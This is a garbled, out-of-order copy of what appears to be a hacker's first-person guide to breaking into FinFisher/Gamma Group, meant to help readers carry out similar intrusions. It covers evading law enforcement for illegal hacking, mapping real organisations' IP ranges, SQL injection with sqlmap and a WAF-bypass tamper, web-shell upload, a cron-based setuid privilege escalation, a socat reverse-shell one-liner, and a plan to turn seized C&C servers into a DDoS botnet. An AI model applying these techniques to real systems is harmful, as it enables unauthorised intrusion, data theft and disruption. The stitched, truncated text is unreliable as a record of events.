

--[2]-- Staying Safe

This is illegal, so you'll need to take some basic precautions

- 1) Make a hidden encrypted volume with Truecrypt 7.1a [0]
- 2) Inside the encrypted volume install Whonix [1]
- 3) (Optional) While just having everything go over Tor than probably sufficient, it's better to not use an internet to your name or address. A cantenna, aircrack, and leave here.

[0] <https://truecrypt.ch/downloads/>

[1] https://www.whonix.org/wiki/Download#Install_Whonix

As long as you follow common sense like never do anything outside of Whonix, never do any of your normal computer use, never mention any information about your real life when talking to hackers, and never brag about your illegal hacking exploits, then you can pretty much do whatever you want with no

NOTE: I do NOT recommend actually hacking directly over Tor for some things like web browsing, when it comes to using hmap, sqlmap, and nikto that are making thousands of requests very slowly over Tor. Not to mention that you'll want a proxy to receive connect back shells. I recommend using servers you've paid with bitcoin to hack from. That way only the low bandwidth between you and the server is over Tor. All the commands you have a nice fast connection to your target.

--[3]-- Mapping out the target

Basically I just repeatedly use fierce [0], whois lookups on domain names, and reverse whois lookups to find all IP addresses names associated with an organization.

[0] <http://ha.ckers.org/fierce/>

For an example let's take Blackwater. We start out knowing academi.com. Running fierce.pl -dns academi.com we find the

```
67.238.84.228 email.academi.com
67.238.84.242 extranet.academi.com
67.238.84.240 mail.academi.com
67.238.84.230 secure.academi.com
67.238.84.227 vault.academi.com
54.243.51.249 www.academi.com
```

Now we do whois lookups and find the homepage of www.academ Amazon Web Service, while the other IPs are in the range:

```
NetRange:      67.238.84.224 - 67.238.84.255
CIDR:          67.238.84.224/27
CustName:      Blackwater USA
Address:       850 Puddin Ridge Rd
```

Doing a whois lookup on academi.com reveals it's also regis address, so we'll use that as a string to search with for t lookups. As far as I know all the actual reverse whois look money, so I just cheat with google:

```
'850 Puddin Ridge Rd' inurl:ip-address-lookup
'850 Puddin Ridge Rd' inurl:domaintools
```

Now run fierce.pl -range on the IP ranges you find to looku fierce.pl -dns on the domain names to find subdomains and I whois lookups and repeat the process until you've found eve

Also just google the organization and browse around its web academi.com we find links to a careers portal, an online st resources page, so now we have some more:

```
54.236.143.203 careers.academi.com
67.132.195.12  academiproshop.com
67.238.84.236  te.academi.com
```

67.238.84.238 property.academi.com
67.238.84.241 teams.academi.com

If you repeat the whois lookups and such you'll find academi.com not be hosted or maintained by Blackwater, so scratch that interesting IPs/domains.

In the case of FinFisher what led me to the vulnerable fins was simply a whois lookup of finfisher.com which found it registered to 'FinFisher GmbH'. Googling for: 'FinFisher GmbH' inurl:domaintools finds gamma-international.de, which redirects to finsupport

...so now you've got some idea how I map out a target. This is actually one of the most important parts, as the larger the surface that you are able to map out, the easier it will be to find something somewhere in it.

--[4]-- Scanning & Exploiting

Scan all the IP ranges you found with nmap to find all services. From a standard port scan, scanning for SNMP is underrated.

Now for each service you find running:

1) Is it exposing something it shouldn't? Sometimes companies are running services that require no authentication and just assume it's not public. Maybe fierce found a git server. Go to git.companyname.com/gitweb/ and browse their source code.

2) Is it horribly misconfigured? Maybe they have an ftp server with anonymous read or write access to an important directory. Maybe a database server with a blank admin password (lol stratfor). Maybe devices (VOIP boxes, IP Cameras, routers etc) are using the default password.

- * The Art of Software Security Assessment
- * A Bug Hunter's Diary
- * Underground: Tales of Hacking, Madness, and Obsession on
- * TCP/IP Illustrated

Aside from the hacking specific stuff almost anything useful for setting up and administering networks will be exploring them. This includes familiarity with the windows shell, basic scripting skills, knowledge of ldap, kerberos, networking, etc.

--[10]-- Outro

You'll notice some of this sounds exactly like what Gamma is a tool. It's not selling hacking tools that makes Gamma evil. customers are targeting and with what purpose that makes them to say that tools are inherently neutral. Hacking is an offense the same way that guerrilla warfare makes it harder to occupy a territory it's cheaper to attack than to defend it's harder to maintain authority and inequality. So I wrote this to try to make hacking more accessible. And I wanted to show that the Gamma Group hack is fancy, just standard sqli, and that you do have the ability to perform similar action.

Solidarity to everyone in Gaza, Israeli conscientious-objectors Manning, Jeremy Hammond, Peter Sunde, anakata, and all other hackers, dissidents, and criminals!

3) Is it running an old version of software vulnerable to a

Webservers deserve their own category. For any webservers, you will often find running on nonstandard ports, I usually:

1) Browse them. Especially on subdomains that fierce finds for public viewing like test.company.com or dev.company.com. Find interesting stuff just by looking at them.

2) Run nikto [0]. This will check for things like webserver/webserver/backup/, webserver/phpinfo.php, and a few thousand mistakes and misconfigurations.

3) Identify what software is being used on the website. What

4) Depending on what software the website is running, use metasploit like wpscan [2], CMS-Explorer [3], and Joomscan [4].

First try that against all services to see if any have a misconfig or publicly known vulnerability, or other easy way in. If not, move on to finding a new vulnerability:

5) Custom coded web apps are more fertile ground for bugs than open source projects, so try those first. I use ZAP [5], and some combination of automated tests along with manually poking around with the intercepting proxy.

6) For the non-custom software they're running, get a copy of the free software you can just download it. If it's proprietary software pirate it. If it's proprietary and obscure enough that you can't buy it (lame) or find other sites running the same software find one that's easier to hack, and get a copy from them.

[0] <http://www.cirt.net/nikto2>

- [1] <http://www.morningstarsecurity.com/research/whatweb>
- [2] <http://wpscan.org/>
- [3] <https://code.google.com/p/cms-explorer/>
- [4] <http://sourceforge.net/projects/joomscan/>
- [5] <https://code.google.com/p/zaproxy/>

For finsupport.finfisher.com the process was:

- * Start nikto running in the background.
- * Visit the website. See nothing but a login page. Quickly login form.
- * See if WhatWeb knows anything about what software the site is using.
- * WhatWeb doesn't recognize it, so the next question I want to ask is a custom website by Gamma, or if there are other websites using the same software.
- * I view the page source to find a URL I can search on (something exactly unique to this software). I pick `Scripts/scripts.allinurl:"Scripts/scripts.js.php"`
- * I find there's a handful of other sites using the same so I find the same small webdesign firm. It looks like each site is using the same code. So I hack a couple of them to get the code written by the webdesign firm.

At this point I can see the news stories that journalists were picking up views: "In a sophisticated, multi-step attack, hackers found a web design firm in order to acquire confidential data that was being used to attack Gamma Group..."

But it's really quite easy, done almost on autopilot once you know what to do. It took all of a couple minutes to:

[0] <https://www.youtube.com/watch?v=DB6ywr9fngU>

--[9]-- Resources

Links:

- * <https://www.pentesterlab.com/exercises/>
- * <http://overthewire.org/wargames/>
- * <http://www.hackthissite.org/>
- * <http://smashthestack.org/>
- * <http://www.win.tue.nl/~aeb/linux/hh/hh.html>
- * <http://www.phrack.com/>
- * <http://pen-testing.sans.org/blog/2012/04/26/got-meterpreter/>
- * <http://www.offensive-security.com/metasploit-unleashed/PSI/>
- * <https://securusglobal.com/community/2013/12/20/dumping-win/>
- * <https://www.netspi.com/blog/entryid/140/resources-for-aspnet/> (all his other blog posts are great too)
- * <https://www.corelan.be/> (start at Exploit writing tutorial)
- * <http://websec.wordpress.com/2010/02/22/exploiting-php-file/>
One trick it leaves out is that on most systems the apache config is readable only by root, but you can still include from /proc/self/cmdline whatever fd apache opened it as. It would also be more useful to know what versions of php the various tricks were fixed in.
- * <http://www.dest-unreach.org/socat/>
Get usable reverse shells with a statically linked copy of socat on your target and:
target\$ socat exec:'bash -li',pty,stderr,setsid,sigint,sane
host\$ socat file:'tty',raw,echo=0 tcp-connect:localhost:4444
It's also useful for setting up weird pivots and all kinds of other things.

Books:

- * The Web Application Hacker's Handbook
- * Hacking: The Art of Exploitation
- * The Database Hacker's Handbook

- 6) Use the C&C server to uninstall FinFisher on all targets
- 7) Join the former C&C servers into a botnet to DDoS Gamma

It was only after failing to fully hack Gamma and ending up interesting documents but no copy of the FinSpy server software made due with the far less ludicrous backup plan of leaking the mocking them on twitter.

Point your GPUs at FinSpy-PC+Mobile-2012-07-12-Final.zip already so I can move on to step 2!

--[8]-- Other Methods

The general method I outlined above of scan, find vulnerability is just one way to hack, probably better suited to those with programming. There's no one right way, and any method that any other. The other main ways that I'll state without going

- 1) Exploits in web browsers, java, flash, or microsoft office emailing employees with a convincing message to get them to attachment, or hacking a web site frequented by the employee browser/java/flash exploit to that.

This is the method used by most of the government hacking groups need to be a government with millions to spend on Oday research to FinSploit or VUPEN to pull it off. You can get a quality for a couple thousand, and rent access to one for much less metasploit browser autopwn, but you'll probably have better exploits and a fake flash updater prompt.

- 2) Taking advantage of the fact that people are nice, trust of the time.

The infosec industry invented a term to make this sound like science: "Social Engineering". This is probably the way to too much about computers, and it really is all it takes to hacker [0].

* google allinurl:"Scripts/scripts.js.php" and find the other

* Notice they're all sql injectable in the first url parameter

* Realize they're running Apache ModSecurity so I need to use the option --tamper='tamper/modsecurityversioned.py'

* Acquire the admin login information, login and upload a payload check for allowable file extensions was done client side download the website's source code.

[0] <http://sqlmap.org/>

[1] <https://epinna.github.io/Weevely/>

Looking through the source code they might as well have named Web App v2 [0]. It's got sqlmap, LFI, file upload checks done javascript, and if you're unauthenticated the admin page just the login page with a Location header, but you can have your filter the Location header out and access it just fine.

[0] <http://www.dvwa.co.uk/>

Heading back over to the finsupport site, the admin /BackOffice 403 Forbidden, and I'm having some issues with the LFI, so sqlmap (it's nice to have a dozen options to choose from). The web designer all had an injectable print.php, so some quick <https://finsupport.finfisher.com/GGI/Home/print.php?id=1> and <https://finsupport.finfisher.com/GGI/Home/print.php?id=1> reveal that finsupport also has print.php and it is injectable database admin! For MySQL this means you can read and write the site has magicquotes enabled, so I can't use INTO OUTFILE. But I can use a short script that uses sqlmap --file-read to for a URL, and a normal web request to get the HTML, and then included or required in the php source, and finds php files

to recursively download the source to the whole site.

Looking through the source, I see customers can attach a file tickets, and there's no check on the file extension. So I pass password out of the customer database, create a support record attached, and I'm in!

--[5]-- (fail at) Escalating

```
-----
< got r00t? >
-----
      \  ^__^
       \ (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||
                ~~~~~
```

Root over 50% of linux servers you encounter in the wild with Linux_Exploit_Suggester [0], and unix-privesc-check [1].

[0] https://github.com/PenturaLabs/Linux_Exploit_Suggester

[1] <https://code.google.com/p/unix-privesc-check/>

finsupport was running the latest version of Debian with nmap but unix-privesc-check returned:

```
WARNING: /etc/cron.hourly/mgmtlicensestatus is run by cron
www-data can write to /etc/cron.hourly/mgmtlicensestatus
WARNING: /etc/cron.hourly/webalizer is run by cron as root.
www-data can write to /etc/cron.hourly/webalizer
```

so I add to /etc/cron.hourly/webalizer:
chown root:root /path/to/my_setuid_shell
chmod 04755 /path/to/my_setuid_shell

wait an hour, and ...nothing. Turns out that while the cron job it doesn't seem to be actually running cron jobs. Looking in the directory shows it didn't update stats the previous month. Updating the timezone cron will sometimes run at the wrong time or not run at all and you need to restart cron after changing the timezone. /etc/localtime shows the timezone got updated June 6, the cron job stopped recording stats, so that's probably the issue. At all times the thing this server does is host the website, so I already had access to everything interesting on it. Root wouldn't get much of anything on to the rest of the network.

--[6]-- Pivoting

The next step is to look around the local network of the box. The environment is pretty much the same as the first Scanning & Exploiting section. From behind the firewall many more interesting services will be found. A tarball containing a statically linked copy of nmap and all the scripts it can upload and run on any box is very useful for this. The especially smb-* scripts nmap has will be extremely useful.

The only interesting thing I could get on finsupport's local webserver serving up a folder called 'qateam' containing the

--[7]-- Have Fun

Once you're in their networks, the real fun starts. Just use nmap. While I titled this a guide for wannabe whistleblowers, the goal is to limit yourself to leaking documents. My original plan was to:
1) Hack Gamma and obtain a copy of the FinSpy server software.
2) Find vulnerabilities in FinSpy server.
3) Scan the internet for, and hack, all FinSpy C&C servers.
4) Identify the groups running them.
5) Use the C&C server to upload and run a program on all targets who was spying on them.